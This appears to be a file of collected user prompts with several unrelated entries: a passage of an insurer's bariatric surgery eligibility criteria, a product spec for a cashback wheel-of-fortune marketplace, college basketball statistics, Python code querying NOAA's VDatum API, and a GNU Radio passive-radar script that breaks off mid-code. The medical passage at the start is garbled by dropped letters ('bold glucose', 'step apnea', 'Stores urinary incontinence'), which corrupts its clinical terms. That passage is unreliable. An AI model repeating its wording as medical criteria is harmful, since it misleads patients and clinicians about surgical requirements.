living; or f. Intertriginous soft-tissue infections; or g. Stores urinary incontinence; or h. Gastroesophageal refux disease; or i. Weight-related arthropathies that impair physical activity; or j. Obesity-related psychosocial distress; 2. Member has attempted weight los in the past without successful long-term weight reduction; and Member has participated in an intensive multicomponent behavioral intervention designed to help participants achieve or maintain weight los through a combination of dietary changes and increased physical activity. This intensive multicomponent behavioral intervention must met all of the following criteria: a. Member's participation in an intensive multicomponent behavioral intervention must be documented in the medical record. Records must document compliance with the program. Note: A summary later, without evidence of contemporaneous oversight, is not sufcient documentation. Documentation should include medical records of contemporaneous assessment of member's progress throughout the course of the nutrition and exercise program. For members who participate in an intensive multicomponent behavioral intervention (e.g., Jenny Craig, MediFast, Minute Clinic/Health Hubs, OptiFast, Weight Watchers), program records documenting the member's participation and progress may substitute for medical records; and b. Intensive multicomponent behavioral intervention may be in-person or remote, and may be group or individual- based; and c. Program must be intensive (12 or more sessions on separate dates over any duration of time) and our within 2 years prior to surgery. Note: Programs may extend beyond two years if the fnal session cured within two years prior to surgery; and d. The intensive multicomponent behavioral intervention program must have components focusing on nutrition, physical activity, and behavioral modifcation (e.g., self- monitoring, identifying barriers, and problem solving). The multicomponent behavioral intervention program may be supervised by behavioral therapists, psychologists, registered dietitians, exercise physiologists, lifestyle coaches or other staf; and 3. Screening for diabetes, with initiation of appropriate treatment for persons diagnosed with diabetes based on a HgbA1c of 6.5% or above, a fasting bold glucose (FBG) of 126 mg/dL or above, or an oral glucose tolerance test (GT) of 200 mg/dL or above at 2 hours. Note: Screening is not required for persons already diagnosed with diabetes; and 4. Screening for obstructive step apnea (OSA), using a validated screening questionnaire (including the En, STOP Questionnaire (Snoring, Tirednes, Observed Apnea, High Bold Pressure), STOP-Bang Questionnaire (STOP Questionnaire plus BMI, Age, Neck Circumference, and Gender), Berlin Questionnaire, Wisconsin Sep Questionnaire, or the Multivariable Apnea Prediction (MVAP) tool). The medical records should document that OSA screening has ben performed, although the results of such screening do not ned to be forwarded to Aetna for review. Note: Screening is not required for persons already diagnosed with OSA; and 5. Cardiac clearance by a cardiologist for persons with a history of cardiac disease; and 6. Optimized glycemic control, as evidenced by any of the following: fasting bold glucose les than 110 mg/dL, two hour postprandial bold glucose level les than 140 mg/dL, or hemoglobin A1C (HbA1c) les than 7 percent (les than 8 percent in persons with a history of poorly controlled type 2 diabetes) within 6 months prior to surgery (within 3 months prior to surgery for persons with diabetes); for persons with diabetes who are unable to achieve glycemic control (i.e., persons with a HbA1c greater than 8 percent), there should be documentation of consultation with an endocrinologist or diabetologist prior to surgery to ensure that all appropriate actions have ben taken to improve glycemic control; and 7. For members who have a history of severe psychiatric disturbance (schizophrenia, borderline personality disorder, suicidal ideation, severe depression) or who are currently under the care of a psychologist/psychiatrist or who are on psychotropic medications, pre-operative psychological clearance is necessary in order to exclude members who are unable to provide informed consent or who are unable to comply with the pre- and post-operative regimen. Note: The presence of depression due to obesity is not normal considered a contraindication to obesity surgery." -'Win’it is a unique online marketplace where merchants and brands can create special offers for customers, giving them a chance to win their money back from a purchase. \n\nThe platform incentivizes customers to make a purchase by offering them the opportunity to win their money back, which is funded by the merchant. The game is visualized to the player as a wheel of fortune, which creates a fun and engaging experience.\n\nPlayers have the opportunity to bank their rewards and not play a game.\n\nWin’it had been created using Xano.com for its backend.\nWe will create the following logic using python and host it on Amazon with APIs and webhook created on Xano. \n\nPoints, \nWin’it has its own virtual currency, called "points," with an exchange rate of £1 = 100 points. \nPoints earned \nPoints are earned via the following 2 ways\nPlayer Wins a cash reward game.\nPlayer “Banks”, a cash reward game, \nPoints redeemable\nPoints are redeemable in 3 ways, \nCash.\nBonus retries.\nMerchant credit. \n \n\n \nBonus retries\nPlayers obtain bonus retry, funded by win’it\n\nIn return for refereeing, friends who then make a purchase.\n\nPlayer\'s bonus retries can be used to play a game that\'s just been lost but still active, e.g. you can not go back and play a game that\'s been lost yesterday.\n\nBonus retries can only be used one per game unless the player has invited 3 new players who have made a purchase, In this case, the player can use unlimited bonus per game\n \nThe odds generated by the bonus retries are based on the cost of the “win” against the value of the retry. \nFor example, a bonus retry with a value of 100 points will give odds of 1-10 to win £10 credit in a cash reward game . \nBonus points a player during a merchant campaign should be reporting, but as an appendix to merchant reporting, and they should not affect the dynamic odds. \n\nFunding of bonus retries, e.g. paid for by the following \nWin’it\nMerchants\n\nMerchant Credit\nMerchant Credit, is a cash value credit that is issued by Win’it on behalf of the merchant and can be spent with that merchant,\nit can be obtained in 3 ways. \n\nGetting merchant credit,\nWinning a game, “credit reward game.”\nBank’it, a player can choose to “bank” e.g. take the option not to play and instead take a credit. \nPurchased for points.\n\nSpending merchant credit, 2 ways,\nMerchant “charge back credit”,\nPlayer “A” has £10 in credit with Merchant “B” \nPlayer “A” spends £5 with Merchant “B” using their linked bank account.\nPlayer “A” bank alerts Win’it via push or pull API call of player transaction.\nWin’it sends £5 to the player.\n 2. Issuing a QR code via API from the merchant POS, the merchant POS accepts the code as part or full payment.\n\nMerchant credit exchange\nMerchants can choose to discount credit to both Win’it or the players, e.g.\n\nExample of player buying merchant credit \nA merchant offer to sell credit at a 50% discount\nA player exchanges, 1000 points in return for £20 in merchant credit\n\nExample of win’it buying merchant credit \nA player wins, a £10 “credit reward game”, using bonus retry funded by win’it\nWin’it issues the credit to the player.\nWin’it pays the merchant £5 e.g. 50% discount for the credit.\n\nOption for additional value, based on the time of day or day.\nIncreased discount e.g. \nA merchant offer to sell credit at a 50% discount\nA player exchanges 1000 in return for £20 in merchant credit\nDiscount of 60% if used between 1 and 2p Monday to Thursday\n\nTwo campaign types\nThere are two campaign types that merchants can choose from when creating their offer:\ncredit reward campaign. \ncash reward campaign,\nIn a credit reward campaign, the player receives credit that can be used to purchase goods or services up to the value of the credit.\nIn contrast,\na cash reward campaign provides the player with points that can be redeemed for cash.\n \nExamples of the financial model of a “credit reward campaign game”,\nCredit Reward Campaign:\nOdds of winning: 1-2 (decimal odds of winning are 2.0)\nNumber of transactions played: 10 x £10 = £100 (average transaction size is £10, and 10 transactions are played)\nTotal revenue generated: £100 (total value of transactions played)\nNumber of winners: 5\nAmount of credit issued to each winner: £10\nTotal amount of credit issued: £50 (5 winners x £10 credit per winner)\nMerchant\'s gross profit margin: 80% (merchant keeps 80% of revenue from each transaction, while the remaining 20% is the cost of goods sold, or COGS)\nCost of credit to the merchant: £10 (cost to the merchant for issuing £10 credit to each winner)\nCost of goods sold: £20 (20% of £100 in revenue)\nNet revenue: £90 (total revenue minus the cost of goods sold\n\nBank’it credits\nExamples of a credit reward campaign and its option of “Bank’it credits”\nThe player can choose not to play and instead take the reward that would have funded the game, including the sales margin inputted by the merchant, e.g.\nPlayer has a game to win £10, \nOdds of 1-10\nThe profit margin is 80%,as outlined above.\nPlayer chooses to “bank” and not play \nPlayer receives £1 in merchant credit\nCost £0.20 \nhttps://shareg.pt/5r0AmqR\n\nExamples of the financial model for a ‘cash reward campaign”\nCash Reward Campaign:\nOdds of winning: 1-2 (decimal odds of winning are 2.0)\nNumber of transactions played: 10 x £10 = £100 (average transaction size is £10, and 10 transactions are played)\nTotal revenue generated: £100 (total value of transactions played)\nNumber of winners: 5\nAmount of cash issued to each winner: £10\nTotal amount of cash: £50 (5 winners x £10 per winner)\nCost of cash rewards to the merchant: £50 (cost to the merchant for issuing £10 cash to each winner)\nCost of goods sold: £20 (20% of £100 in revenue)\nNet revenue: £50 (total revenue minus the cost of goods sold and the cost of issuing cash rewards)\nNet profit: £30 (net revenue minus the cost of cash rewards to the merchant)\nThe merchant funds the cash rewards for the winners, and the odds of winning are determined by the merchant.\n \nBank’it points,\nExamples of a cash reward campaign, “Bank’it credits”,\nThe player can choose not to play and instead take the reward that would have funded the game, e.g.\nPlayer has a game to win £10, \nOdds of 1-10\nPlayer chooses to “bank” and not play \nPlayer receives 100 points\nCost £1\n\nDynamic odds \nOption for additional odds, based on the time of day or day.\nIncreased odd e.g.\nOdds of 1-5 at standard times/date, or odds of 1-3 if used between 1 and 2p Monday to Thursday\nDynamic discount\nOption for Increased discount, e.g. based on the time of day or day.\nA merchant offer to sell credit at a 50% discount\nA player exchanges 1000 in return for £20 in merchant credit\nDiscount of 60% if used between 1 and 2p Monday to Thursday\n\nOfferwall\nOffers are displayed on our offer wall and searchable based on \nCategory,\nMerchant \nGeolocation \nThe player must opt in to taking an offer for the offer to become active for the player.\n\n\nConfirmation of transaction, e.g. purchase\nWhen a player makes a purchase with a merchant offer, \nthe merchant has one of 3 options for payment confirmation.\nLinked bank account using API provided by https://nordigen.com\nMerchant POS integration using API\nRecipe uploaded and read using https://nanonets.com\n\n\nPlayer wallet reporting \nMerchant Credit Balance\nOffer Status (Active/Redeemed/Expired)\nOffer Date Offered\nOffer Date Redeemed\nTransaction Amount\nTransaction Date\nPoints Earned\nPoints Redeemed\nPoints Balance\n\nThe Referral Program:\nEach player receives a unique invite code.\nWhen the code is used by a friend, e.g. the invited,\nRewards, both the invitee and invited receive a reward of 5 bonus retries, each bonus retry has a 50 point value. \n\nRules\nThe invitee must register, and makes a purchase related to a Win’it offers.\n\nReferral reports for players\nThe invitee can view the status of their invited friends, including \nRegistered date\nPurchase date\nPoints earned from the referral\n\nLevels \nNewby, just signed up\nPlayer, has played a game\nSocial, a player who has invited 3 members who took part in a merchant offer at least once. \nBenefits can play as many Bonus retries per game as they have.\nMerchant reporting\nThe merchant reporting feature allows merchants to view their performance metrics, including the number of players who have opted into their offers, the redemption rates of their offers, and the total transaction volume generated by their offers. They can also view detailed transaction histories and player profiles, as well as track their credits and bonuses. This helps merchants make data-driven decisions and optimize their marketing strategies for better engagement and revenue.' -'next block. just confirm receipt, dont reprint:\n\nFlorida Atlantic 34 31 3 0.912 40.2 78.8 28.2 59.8 0.472 9.8 26.3 0.372 12.6 17.5 0.716 9.7 27 36.7 14.6 6.8 2.5 11.5 15.9\nUC Irvine 34 23 11 0.676 40.1 75.3 27.8 58.9 0.472 7.1 18.6 0.384 12.5 17.4 0.72 8.5 26.3 34.8 14.9 6.9 2.4 12.1 18.9\nIllinois-Chicago 32 12 20 0.375 40.3 67.2 23.3 56.1 0.416 8 24.2 0.329 12.5 19.1 0.655 7.5 22.9 30.3 13.2 6.4 4.7 12.5 17.5\nSouth Dakota State 32 19 13 0.594 40.2 70.9 25.4 56.4 0.45 7.7 21.9 0.351 12.5 15.8 0.792 6.1 24.5 30.6 10.7 5.2 2.9 11.3 14.3\nIndiana 33 22 11 0.667 40.1 75.1 28.5 58.1 0.49 5.7 15.3 0.37 12.5 17.5 0.713 8.2 25.8 34 15.4 5.8 4.9 11.4 17.3\nSouth Carolina State 31 5 26 0.161 40.4 73.5 27.1 64.1 0.422 6.9 21.7 0.318 12.5 18.6 0.668 12.7 20.8 33.5 14 7.2 3.3 15.7 20.7\nTennessee Tech 33 16 17 0.485 40.9 73.7 26.1 59.6 0.437 9.2 25.1 0.364 12.4 17.3 0.719 8.7 24.4 33.1 14.4 6.3 2.4 12.2 16\nMonmouth 33 7 26 0.212 40 61.7 22.6 56.2 0.402 4.1 14.1 0.288 12.4 18.6 0.667 9.8 21.2 31.1 12 8.4 2.5 14.1 19.2\nYale 29 21 8 0.724 40.3 76.2 28.2 58.6 0.481 7.5 20.7 0.362 12.4 17.8 0.696 9.3 27.1 36.4 14.7 6.3 4.2 11 17.4\nLouisiana-Monroe 32 11 21 0.344 40.3 67.4 23.7 58.2 0.408 7.6 21.6 0.351 12.4 17.4 0.713 9.8 23.4 33.2 12.6 6.9 3.6 12.2 15.1\nNorth Texas 33 26 7 0.788 40.3 64.2 22.3 51.1 0.436 7.2 20.6 0.351 12.4 16.5 0.75 9.8 21.9 31.7 11.1 6.3 2.9 11.3 16.4\nColorado 33 17 16 0.515 39.8 70 25.6 58.9 0.434 6.5 20.5 0.319 12.4 17.8 0.693 10.4 25.1 35.4 13 7.6 3.6 13 16.3\nWofford 33 17 16 0.515 40.5 74.7 27.5 58 0.473 7.5 22.7 0.33 12.3 16.7 0.737 8.7 23 31.7 12.5 5.7 2.1 10.8 14.2\nOral Roberts 34 30 4 0.882 40 84.2 30.6 63.8 0.479 10.8 29.3 0.369 12.3 15.9 0.776 8.2 27.4 35.5 14.8 6.9 5.2 9.1 13.1\nLoyola Marymount 31 19 12 0.613 40.4 75.3 26.8 59.1 0.454 9.3 25.5 0.365 12.3 18.4 0.671 9.6 24.7 34.4 11.7 5.5 2.8 12.2 19.4\nNorthern Illinois 32 13 19 0.406 40 72 26.2 56.8 0.461 7.4 21.2 0.348 12.3 18.9 0.652 7.8 23.3 31.1 12.6 6.4 2.3 13.8 19.3\nPresbyterian 32 5 27 0.156 40.3 63.2 22.4 53.4 0.42 6 19.3 0.31 12.3 19.7 0.625 9.9 21.2 31.2 10.8 5.5 3.1 13.3 19.3\nArkansas State 33 13 20 0.394 40.1 65.7 23.5 54.5 0.432 6.3 18 0.352 12.3 18.2 0.677 9.3 23.1 32.4 13.1 6.7 3.3 11.3 16.8\nRider 30 16 14 0.533 40.5 70.2 26.4 58.2 0.454 5 15 0.334 12.3 16.7 0.735 10.5 23.8 34.3 11.4 5.4 2.2 10.9 18.3\nMaryland-Eastern Shore 31 18 13 0.581 40 69.7 25 58.5 0.428 7.4 23.2 0.318 12.3 17.1 0.719 9.4 21.3 30.6 13.5 11.1 1.9 14.5 16.6\nTowson 33 21 12 0.636 40.4 71.8 26.1 58.2 0.447 7.4 20.1 0.367 12.3 17.3 0.708 11.2 24.1 35.3 14 6.2 3.4 11.8 16.3\nMontana 31 17 14 0.548 40.1 69.3 24.6 53.2 0.462 7.9 21.2 0.372 12.2 15.5 0.788 6.5 22 28.5 12.2 4.7 2.4 10.8 18.1' -'learn this code: #!/usr/bin/env python3\n# -\\*- coding: utf-8 -\\*-\n"""\nCreated on Thu Feb 9 16:24:11 2023\n\n@author: ericallen\n"""\nimport os\nimport sys\nimport pandas as pd\nimport requests\nimport numpy as np\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(\\_\\_file\\_\\_), \'..\')))\nfrom src.check\\_url import check\\_url\nfrom src.find\\_exception import find\\_h\\_ref\\_exception\nfrom src.get\\_urls import create\\_hyperlink\ndef convert\\_datums(metadata, input\\_v="NAVD88", output\\_v="MLLW", input\\_height=None,\\\n elevation={\'input\\_v\\_elevation\':\'height\', "target\\_v\\_elevation":\'height\'}):\n """\n inputlon = "-73.74" #Lon from spreadsheet\n inputlat = "40.59" #Lat from spreadsheet\n inputheight = "0" #height from spreadsheet\n region = region\\_dict["Contiguous United States"] #come up with a way to\n determine if Contiguous or Chesapeake/Delaware Bay\n input\\_v\\_ref = "NAVD88" #Datum being converted from spreadsheet\n target\\_v\\_ref = "MLLW" #Datum your are trying to convert to\n\n input\\_h\\_ref = "NAD83\\_2011" #Should stay the same\n input\\_h\\_coord = "geo" #Should stay the same\n input\\_v\\_unit = "us\\_ft" #Unit should be feet\n input\\_v\\_elevation = "height" #Should stay the same\n target\\_h\\_ref = "NAD83\\_2011" #Should stay the same\n target\\_h\\_coord = "geo" #Should stay the same\n target\\_v\\_unit = "us\\_ft" #Should stay the same\n target\\_v\\_elevation = "height" #should stay the same\n api\\_url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?"\n f"s\\_x={inputlonv}&s\\_y={inputlat}&s\\_z={inputheight}&"\n f"region={region}&s\\_h\\_frame={input\\_h\\_ref}&s\\_coor={input\\_h\\_coord}&"\n f"s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={input\\_v\\_elevation}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={target\\_v\\_elevation}")\n\n Parameters\n ----------\n metadata : TYPE\n DESCRIPTION.\n input\\_v : TYPE, optional\n DESCRIPTION. The default is "NAVD88".\n output\\_v : TYPE, optional\n DESCRIPTION. The default is "MLLW".\n s\\_z : TYPE, optional\n DESCRIPTION. The default is None.\n\n Returns\n -------\n metadata : TYPE, dataframe\n DESCRIPTION. Holds all the gage information\n\n url\\_list : TYPE, list\n DESCRIPTION. Holds a list of all the url api calls for future reference\n\n """\n output\\_column\\_header = input\\_v + " to " + output\\_v\n input\\_h\\_coord = "geo"\n input\\_v\\_unit = "us\\_ft"\n target\\_h\\_coord = "geo"\n target\\_v\\_unit = "us\\_ft"\n #removed to shorten urls but left option to include...\n #input\\_v\\_elevation = "height"\n #target\\_v\\_elevation = "height"\n\n url\\_list = []\n for index, row in metadata.iterrows():\n\n input\\_region = row["VDatum Regions"]\n s\\_y = row["Latitude"]\n s\\_x = row["Longitude"]\n\n input\\_v\\_ref = input\\_v\n target\\_v\\_ref = output\\_v\n\n if input\\_height is None:\n s\\_z = row[row["Ref\\_Datum"]]\n else:\n s\\_z = input\\_height\n\n input\\_h\\_ref = "{0}"\n target\\_h\\_ref = "{1}"\n\n if elevation["input\\_v\\_elevation"]=="height" and elevation["target\\_v\\_elevation"]=="height":\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}")\n else:\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={elevation[\'input\\_v\\_elevation\']}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={elevation[\'target\\_v\\_elevation\']}")\n\n if input\\_region == "contiguous":\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "NAD83\\_2011"\n input\\_v\\_ref = input\\_v\n\n elif input\\_region == "chesapeak\\_delaware":\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "IGS14"\n input\\_v\\_ref = input\\_v\n\n elif input\\_region == "westcoast":\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "IGS14"\n input\\_v\\_ref = input\\_v\n\n elif input\\_region == "prvi":\n print("WARNING: NWM Uses LMSL for Puerto Rico domain")\n input\\_v\\_ref = "LMSL"\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "hi":\n print("ERROR: VDatum Cannot Handle Conversion from NAVD88 to Tidal Datums for Hawaii")\n input\\_v\\_ref = "LMSL"\n input\\_h\\_ref, target\\_h\\_ref = None, None\n\n else:\n print("Triggering find\\_h\\_ref\\_exception")\n input\\_h\\_ref, target\\_h\\_ref = find\\_h\\_ref\\_exception(url)\n if elevation["input\\_v\\_elevation"]=="height" and elevation["target\\_v\\_elevation"]=="height":\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}")\n else:\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={elevation[\'input\\_v\\_elevation\']}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={elevation[\'target\\_v\\_elevation\']}")\n if check\\_url(url):\n result = requests.get(url).json()\n else:\n #print("PROBLEM WITH: ", url)\n metadata.loc[index, output\\_column\\_header] = np.nan\n url\\_list.append(create\\_hyperlink(url, "Error"))\n continue\n\n if result["t\\_z"] == "-999999":\n metadata.loc[index, output\\_column\\_header] = -999999\n url\\_list.append(create\\_hyperlink(url, "Missing"))\n\n else:\n metadata.loc[index, output\\_column\\_header] = float(result["t\\_z"]) - s\\_z\n url\\_list.append(create\\_hyperlink(url, output\\_column\\_header))\n return metadata, url\\_list\n\n\ndef convert\\_from\\_ref\\_datum(metadata):\n """Fill in the blanks by converting the reference datum to any un-solved datum conversions"""\n\n input\\_h\\_coord = "geo"\n input\\_v\\_unit = "us\\_ft"\n input\\_v\\_elevation = "height"\n\n target\\_h\\_coord = "geo"\n target\\_v\\_unit = "us\\_ft"\n target\\_v\\_elevation = "height"\n\n #Had to remove STND and MSL because those aren\'t Tidal Datums in VDatum -- added LMSL\n columns = [\'MHHW\', \'MHW\', \'MTL\',\'LMSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', "NGVD29"]\n\n tidal\\_datums = [\'MHHW\', \'MHW\', \'MTL\',\'LMSL\', \'DTL\', \'MLW\', \'MLLW\']\n\n orthometric\\_datums = ["NAVD88", "NGVD29", "PRVD02"]\n\n for index, row in metadata.iterrows():\n\n if pd.isna(row["Ref\\_Datum"]):\n continue\n\n if row["Ref\\_Datum"] == "STND":\n continue\n\n input\\_v\\_ref = row[\'Ref\\_Datum\']\n\n input\\_region = row["VDatum Regions"]\n s\\_y = row["Latitude"]\n s\\_x = row["Longitude"]\n s\\_z = row[row["Ref\\_Datum"]]\n\n # Loop through the different height columns\n for column in columns:\n # Skip if the value is already available\n if column == row["Ref\\_Datum"]:\n continue\n\n if not column in row.index or pd.isna(row[column]):\n target\\_v\\_ref = column\n\n input\\_h\\_ref = "{0}"\n target\\_h\\_ref = "{1}"\n\n# =============================================================================\n#\n# =============================================================================\n if input\\_region == "contiguous":\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n elif input\\_v\\_ref in orthometric\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n if input\\_v\\_ref == "NGVD29":\n input\\_h\\_ref = "NAD27"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n elif target\\_v\\_ref in orthometric\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n if target\\_v\\_ref == "NGVD29":\n target\\_h\\_ref = "NAD27"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n elif input\\_region == "chesapeak\\_delaware":\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "IGS14"\n elif input\\_v\\_ref in orthometric\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n if input\\_v\\_ref == "NGVD29":\n input\\_h\\_ref = "NAD27"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "IGS14"\n elif target\\_v\\_ref in orthometric\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n if target\\_v\\_ref == "NGVD29":\n target\\_h\\_ref = "NAD27"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "westcoast":\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "IGS14"\n elif input\\_v\\_ref in orthometric\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n if input\\_v\\_ref == "NGVD29":\n input\\_h\\_ref = "NAD27"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "IGS14"\n elif target\\_v\\_ref in orthometric\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n if target\\_v\\_ref == "NGVD29":\n target\\_h\\_ref = "NAD27"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "prvi":\n #There is no NAVD88 or NGVD29\n #start in orthometric\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "hi":\n print("WARNING: VDatum Does Not Have Tidal Datums for Hawaii")\n input\\_h\\_ref, target\\_h\\_ref = None, None\n\n else:\n print("WARNING: Triggering find\\_h\\_ref\\_exception")\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={input\\_v\\_elevation}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={target\\_v\\_elevation}")\n\n input\\_h\\_ref, target\\_h\\_ref = find\\_h\\_ref\\_exception(url)\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={input\\_v\\_elevation}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={target\\_v\\_elevation}")\n if check\\_url(url):\n result = requests.get(url).json()\n else:\n metadata.loc[index, column] = np.nan\n continue\n t\\_z = result["t\\_z"]\n if t\\_z == "-999999":\n metadata.loc[index, column] = np.nan\n\n elif t\\_z != float(np.nan):\n metadata.loc[index, column] = t\\_z\n return metadata' -'does this set the settings correctly for passive radar data? \n\n#!/usr/bin/env python2\n# -\\*- coding: utf-8 -\\*-\n##################################################\n# GNU Radio Python Flow Graph\n# Title: Top Block\n# Generated: Mon Mar 27 20:49:38 2023\n##################################################\n\nfrom distutils.version import StrictVersion\n\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n import ctypes\n import sys\n if sys.platform.startswith(\'linux\'):\n try:\n x11 = ctypes.cdll.LoadLibrary(\'libX11.so\')\n x11.XInitThreads()\n except:\n print "Warning: failed to XInitThreads()"\n\nfrom PyQt5 import Qt\nfrom PyQt5 import Qt, QtCore\nfrom gnuradio import blocks\nfrom gnuradio import eng\\_notation\nfrom gnuradio import gr\nfrom gnuradio import qtgui\nfrom gnuradio.eng\\_option import eng\\_option\nfrom gnuradio.filter import firdes\nfrom optparse import OptionParser\nimport osmosdr\nimport sip\nimport sys\nimport time\nfrom gnuradio import qtgui\nclass top\\_block(gr.top\\_block, Qt.QWidget):\n\n def \\_\\_init\\_\\_(self):\n gr.top\\_block.\\_\\_init\\_\\_(self, "Top Block")\n Qt.QWidget.\\_\\_init\\_\\_(self)\n self.setWindowTitle("Top Block")\n qtgui.util.check\\_set\\_qss()\n try:\n self.setWindowIcon(Qt.QIcon.fromTheme(\'gnuradio-grc\'))\n except:\n pass\n self.top\\_scroll\\_layout = Qt.QVBoxLayout()\n self.setLayout(self.top\\_scroll\\_layout)\n self.top\\_scroll = Qt.QScrollArea()\n self.top\\_scroll.setFrameStyle(Qt.QFrame.NoFrame)\n self.top\\_scroll\\_layout.addWidget(self.top\\_scroll)\n self.top\\_scroll.setWidgetResizable(True)\n self.top\\_widget = Qt.QWidget()\n self.top\\_scroll.setWidget(self.top\\_widget)\n self.top\\_layout = Qt.QVBoxLayout(self.top\\_widget)\n self.top\\_grid\\_layout = Qt.QGridLayout()\n self.top\\_layout.addLayout(self.top\\_grid\\_layout)\n\n self.settings = Qt.QSettings("GNU Radio", "top\\_block")\n self.restoreGeometry(self.settings.value("geometry", type=QtCore.QByteArray))\n ##################################################\n # Variables\n ##################################################\n self.samp\\_rate = samp\\_rate = 3200000\n\n ##################################################\n # Blocks\n ##################################################\n self.qtgui\\_histogram\\_sink\\_x\\_0 = qtgui.histogram\\_sink\\_f(\n 1024,\n 100,\n -1,\n 1,\n "",\n 2\n )\n\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_update\\_time(0.10)\n self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_autoscale(True)\n self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_accumulate(False)\n 